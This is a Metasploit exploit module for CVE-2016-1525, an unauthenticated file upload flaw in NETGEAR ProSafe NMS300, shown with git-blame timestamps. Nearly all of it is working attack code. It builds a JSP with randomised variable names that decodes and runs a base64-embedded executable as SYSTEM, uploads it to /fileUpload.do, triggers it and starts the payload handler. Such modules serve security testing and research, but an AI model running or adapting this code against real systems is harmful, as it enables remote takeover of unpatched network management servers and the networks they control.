2016-02-03 23:54:16 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 08:57:22 +00:00
|
|
|
class Metasploit < Msf::Exploit::Remote
|
2016-02-03 23:54:16 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
|
|
|
|
'Description' => %q{
|
2016-02-23 08:14:04 +00:00
|
|
|
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
|
|
|
The application has a file upload vulnerability that can be exploited by an
|
|
|
|
unauthenticated remote attacker to execute code as the SYSTEM user.
|
|
|
|
Two servlets are vulnerable, FileUploadController (located at
|
|
|
|
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
|
|
|
|
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
|
|
|
|
1.1.0.13.
|
2016-02-03 23:54:16 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2016-1525'],
|
|
|
|
['US-CERT-VU', '777024'],
|
2016-02-23 08:14:04 +00:00
|
|
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
|
|
|
|
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
|
2016-02-03 23:54:16 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' => { 'WfsDelay' => 5 },
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Privileged' => true,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Feb 4 2016'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
OptString.new('TARGETURI', [true, "Application path", '/'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
if res && res.code == 405
|
2016-02-23 08:14:04 +00:00
|
|
|
Exploit::CheckCode::Detected
|
2016-02-03 23:54:16 +00:00
|
|
|
else
|
2016-02-23 08:14:04 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2016-02-03 23:54:16 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def generate_jsp_payload
|
|
|
|
exe = generate_payload_exe
|
|
|
|
base64_exe = Rex::Text.encode_base64(exe)
|
|
|
|
payload_name = rand_text_alpha(rand(6)+3)
|
|
|
|
|
2016-02-23 08:14:04 +00:00
|
|
|
var_raw = 'a' + rand_text_alpha(rand(8) + 3)
|
|
|
|
var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
|
|
|
|
var_buf = 'c' + rand_text_alpha(rand(8) + 3)
|
|
|
|
var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
|
|
|
|
var_tmp = 'e' + rand_text_alpha(rand(8) + 3)
|
|
|
|
var_path = 'f' + rand_text_alpha(rand(8) + 3)
|
|
|
|
var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)
|
2016-02-03 23:54:16 +00:00
|
|
|
|
|
|
|
jsp = %Q|
|
|
|
|
<%@page import="java.io.*"%>
|
|
|
|
<%@page import="sun.misc.BASE64Decoder"%>
|
|
|
|
<%
|
|
|
|
try {
|
|
|
|
String #{var_buf} = "#{base64_exe}";
|
|
|
|
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
|
|
|
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
|
|
|
|
|
|
|
File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
|
|
|
|
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
|
|
|
|
|
|
|
BufferedOutputStream #{var_ostream} =
|
|
|
|
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
|
|
|
#{var_ostream}.write(#{var_raw});
|
|
|
|
#{var_ostream}.close();
|
|
|
|
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
|
|
|
} catch (Exception e) {
|
|
|
|
}
|
|
|
|
%>
|
|
|
|
|
|
|
|
|
|
2016-02-23 08:14:04 +00:00
|
|
|
jsp.gsub!(/[\n\t\r]/, '')
|
2016-02-03 23:54:16 +00:00
|
|
|
|
|
|
|
return jsp
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
jsp_payload = generate_jsp_payload
|
|
|
|
|
|
|
|
jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
|
2016-02-23 08:14:04 +00:00
|
|
|
jsp_full_name = "null#{jsp_name}.jsp"
|
2016-02-03 23:54:16 +00:00
|
|
|
post_data = Rex::MIME::Message.new
|
2016-02-23 08:14:04 +00:00
|
|
|
post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
|
2016-02-03 23:54:16 +00:00
|
|
|
post_data.add_part(jsp_payload,
|
|
|
|
"application/octet-stream", 'binary',
|
|
|
|
"form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
|
|
|
|
data = post_data.to_s
|
|
|
|
|
|
|
|
print_status("#{peer} - Uploading payload...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => data,
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
|
|
})
|
2016-02-23 08:14:04 +00:00
|
|
|
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
|
2016-02-03 23:54:16 +00:00
|
|
|
print_status("#{peer} - Payload uploaded successfully")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{peer} - Executing payload...")
|
|
|
|
send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|